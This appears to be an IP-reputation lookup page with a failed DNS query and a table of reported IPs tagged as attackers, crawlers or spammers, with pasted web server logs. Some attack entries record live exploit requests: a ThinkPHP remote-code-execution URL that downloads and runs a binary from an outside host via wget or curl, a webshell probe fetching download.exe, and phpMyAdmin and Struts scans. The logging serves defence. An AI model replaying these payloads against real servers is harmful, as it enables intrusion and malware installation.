城市(city): unknown
省份(region): unknown
国家(country): Netherlands (the)
运营商(isp): unknown
主机名(hostname): unknown
机构(organization): unknown
使用类型(Usage Type): unknown
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 163.175.85.10
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 14365
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;163.175.85.10. IN A
;; AUTHORITY SECTION:
. 30 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2025012200 1800 900 604800 86400
;; Query time: 37 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Wed Jan 22 18:04:40 CST 2025
;; MSG SIZE rcvd: 106b'Host 10.85.175.163.in-addr.arpa not found: 2(SERVFAIL)
'server can't find 163.175.85.10.in-addr.arpa: SERVFAIL| IP | 类型 | 评论内容 | 时间 |
|---|---|---|---|
| 118.25.71.65 | attack | 攻击型IP 118.25.71.65 - - [31/Mar/2019:20:32:01 +0800] "PUT /FxCodeShell.jsp%20 HTTP/1.1" 400 682 "http://118.25.52.138:443/FxCodeShell.jsp%20" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 118.25.71.65 - - [31/Mar/2019:20:32:01 +0800] "PUT /FxCodeShell.jsp::$DATA HTTP/1.1" 400 682 "http://118.25.52.138:443/FxCodeShell.jsp::$DATA" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 118.25.71.65 - - [31/Mar/2019:20:32:01 +0800] "PUT /FxCodeShell.jsp/ HTTP/1.1" 400 682 "http://118.25.52.138:443/FxCodeShell.jsp/" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 118.25.71.65 - - [31/Mar/2019:20:32:01 +0800] "GET /FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe HTTP/1.1" 400 682 "http://118.25.52.138:443/FxCodeShell.jsp?view=FxxkMyLie1836710Aa&os=1&address=http://fid.hognoob.se/download.exe" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" |
2019-03-31 20:42:33 |
| 138.197.77.207 | attack | 138.197.77.207 - - [01/Apr/2019:06:39:02 +0800] "GET /public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://159.65.65.37/leet.x86;cat%20leet.x86%20%3E%20xdsf;chmod%20777%20xdsf;./xdsf%20thinkphp HTTP/1.1" 301 194 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-696.30.1.el6.x86_64" 138.197.77.207 - - [01/Apr/2019:06:39:04 +0800] "GET /public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://159.65.65.37/leet.x86;cat%20leet.x86%20%3E%20xdsf;chmod%20777%20xdsf;./xdsf%20thinkphp HTTP/1.1" 404 209 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-696.30.1.el6.x86_64" 138.197.77.207 - - [01/Apr/2019:06:39:04 +0800] "GET /public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;curl%20-O%20http://159.65.65.37/leet.x86;cat%20leet.x86%20%3E%20xdsf;chmod%20777%20xdsf;./xdsf%20thinkphp HTTP/1.1" 301 194 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-696.30.1.el6.x86_64" |
2019-04-01 06:59:47 |
| 220.181.108.93 | bots | 百度爬虫，应该跟权重没关系 |
2019-03-28 17:34:14 |
| 42.236.55.21 | bots | 不常见的360爬虫。。 |
2019-03-29 10:37:48 |
| 5.188.210.57 | spam | wordpress垃圾评论，每天好多 5.188.210.57 - - [28/Mar/2019:17:37:49 +0800] "GET /index.php/page/869/ HTTP/1.0" 200 77511 "https://www.eznewstoday.com/index.php/page/869/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.62 Safari/537.3 6" 5.188.210.57 - - [28/Mar/2019:17:37:50 +0800] "GET /index.php/2019/02/01/stripe_2019_02_01_en/ HTTP/1.0" 200 41681 "https://www.eznewstoday.com/index.php/2019/02/01/stripe_2019_02_01_en/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML , like Gecko) Chrome/67.0.3396.62 Safari/537.36" 5.188.210.57 - - [28/Mar/2019:17:37:50 +0800] "POST /wp-comments-post.php HTTP/1.0" 302 4146 "https://www.eznewstoday.com/index.php/2019/02/01/stripe_2019_02_01_en/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/6 7.0.3396.62 Safari/537.36" |
2019-03-28 17:39:26 |
| 66.249.66.138 | bots | Googlebot，谷歌爬虫网段 |
2019-03-28 17:38:35 |
| 157.55.39.74 | bots | 微软爬虫bingbot 157.55.39.74 - - [02/Apr/2019:14:26:06 +0800] "GET /index.php/2018/09/08/zte_2018_09_08_cn/ HTTP/1.1" 200 14334 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" |
2019-04-02 14:27:16 |
| 45.40.194.24 | attack | 45.40.194.24 - - [03/Apr/2019:02:11:15 +0800] "GET /phpMyAdmin1/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0" 45.40.194.24 - - [03/Apr/2019:02:11:15 +0800] "GET /phpMyAdmin123/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0" 45.40.194.24 - - [03/Apr/2019:02:11:15 +0800] "GET /pwd/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0" 45.40.194.24 - - [03/Apr/2019:02:11:15 +0800] "GET /phpMyAdmina/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0" 45.40.194.24 - - [03/Apr/2019:02:11:15 +0800] "GET /phpMydmin/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0" 45.40.194.24 - - [03/Apr/2019:02:11:15 +0800] "GET /phpMyAdmins/index.php HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0" |
2019-04-03 06:19:58 |
| 115.87.27.91 | attack | 115.87.27.91 - - [04/Apr/2019:18:44:53 +0800] "GET /mysql/admin/index.php?lang=en HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36" |
2019-04-04 18:46:39 |
| 203.208.60.29 | bots | 没想到谷歌中国的IP和海外的ip还不一样，海外的是66.249.*.* |
2019-04-04 08:02:54 |
| 178.154.244.50 | bots | yandexbot 178.154.244.50 - - [03/Apr/2019:08:12:31 +0800] "GET /index.php/author/admin/page/3113/ HTTP/1.1" 200 21832 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)" 178.154.244.50 - - [03/Apr/2019:08:12:33 +0800] "GET /index.php/page/982/ HTTP/1.1" 200 17713 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)" |
2019-04-03 08:16:17 |
| 118.25.49.95 | attack | 118.25.49.95 - - [01/Apr/2019:11:49:22 +0800] "GET /struts2-rest-showcase/orders.xhtml HTTP/1.1" 400 682 "http://118.25.52.138:443/struts2-rest-showcase/orders.xhtml" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 118.25.49.95 - - [01/Apr/2019:11:49:22 +0800] "GET /index.action HTTP/1.1" 400 682 "http://118.25.52.138:443/index.action" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" 118.25.49.95 - - [01/Apr/2019:11:49:22 +0800] "GET /index.do HTTP/1.1" 400 682 "http://118.25.52.138:443/index.do" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)" |
2019-04-01 11:50:45 |
| 207.46.13.229 | bots | 微软bingbot |
2019-03-29 09:12:04 |
| 176.223.125.207 | attack | 攻击IP 176.223.125.207 - - [29/Mar/2019:14:34:14 +0800] "POST /xmlrpc.php HTTP/1.0" 404 468 "-" "Mozilla/4.0 (compatible: MSIE 7.0; Windows NT 6.0)" |
2019-03-29 14:37:20 |
| 104.192.74.213 | bots | 机器IP，headless chrome 104.192.74.213 - - [04/Apr/2019:16:40:03 +0800] "GET /index.php/2018/12/05/baidu_2018_12_05_en/?replytocom=237 HTTP/1.1" 200 19564 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/70.0.3538.110 Safari/537.36" 104.192.74.213 - - [04/Apr/2019:16:41:00 +0800] "GET /index.php/2019/04/04/palantir_2019_04_04_en/ HTTP/1.1" 200 10235 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/70.0.3538.110 Safari/537.36" 104.192.74.213 - - [04/Apr/2019:16:41:46 +0800] "GET /index.php/2018/12/05/baidu_2018_12_05_en/?replytocom=6665 HTTP/1.1" 200 19563 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/70.0.3538.110 Safari/537.36" |
2019-04-04 16:42:48 |